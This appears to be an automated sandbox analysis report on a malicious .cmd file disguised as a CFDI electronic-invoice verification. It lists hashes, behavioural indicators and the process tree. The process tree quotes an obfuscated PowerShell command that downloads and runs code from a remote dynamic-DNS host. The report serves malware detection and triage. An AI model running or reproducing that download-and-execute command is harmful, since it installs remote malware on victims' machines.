651f8b352509f3dd1a92ad7417bf89a733ab85a12b9e136f3b920677a0dedfaf

Analysis

Target

do-master/Verificacfdi.facturaelectronica.emision.cmd
Size

412B
MD5

fc68a566b6eec162cedf8d4ec6d7e00e
SHA1

7fc6706af1d7a63262f99734922228656a6fa300
SHA256

99670c0c832be53b90e0c52cdb385a926346e36642b876296f0be9f01b81decc
SHA512

4276ad4a487034a6d32985958fc0380e585c99b248dbd8ae0852e3af5b71d820f1e129bf0e0342e801b29cc0aae3ce37352086de22a93e763c659da450979489

Score

1^/10

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

3136 powershell.exe
3136 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3136 powershell.exe

pid	process
3136	powershell.exe
3136	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3136	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1148 wrote to memory of 2920	1148	cmd.exe	cmd.exe
PID 1148 wrote to memory of 2920	1148	cmd.exe	cmd.exe
PID 1148 wrote to memory of 3136	1148	cmd.exe	powershell.exe
PID 1148 wrote to memory of 3136	1148	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\do-master\Verificacfdi.facturaelectronica.emision.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:1148

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo ieX("Ie`X`(N`ew-oBJ`e`Ct N`et.`Web`ClIeNt`).DOwnlOa`d`StRIN`G('http://tma8sjw.myftp.org/mx/a9Y0P6X9y9f1d5uayNa/kk/a9Y0P6X9y9f1d5uayNa')"); "
2⤵
PID:2920

memory/2920-130-0x0000000000000000-mapping.dmp

Download
memory/3136-131-0x0000000000000000-mapping.dmp

Download
memory/3136-132-0x000001D11F6E0000-0x000001D11F702000-memory.dmp

Filesize
136KB

Download
memory/3136-133-0x000001D13A290000-0x000001D13A2D4000-memory.dmp

Filesize
272KB

Download
memory/3136-134-0x000001D13A360000-0x000001D13A3D6000-memory.dmp

Filesize
472KB

Download
memory/3136-135-0x00007FFA048D0000-0x00007FFA05391000-memory.dmp

Filesize
10.8MB

Download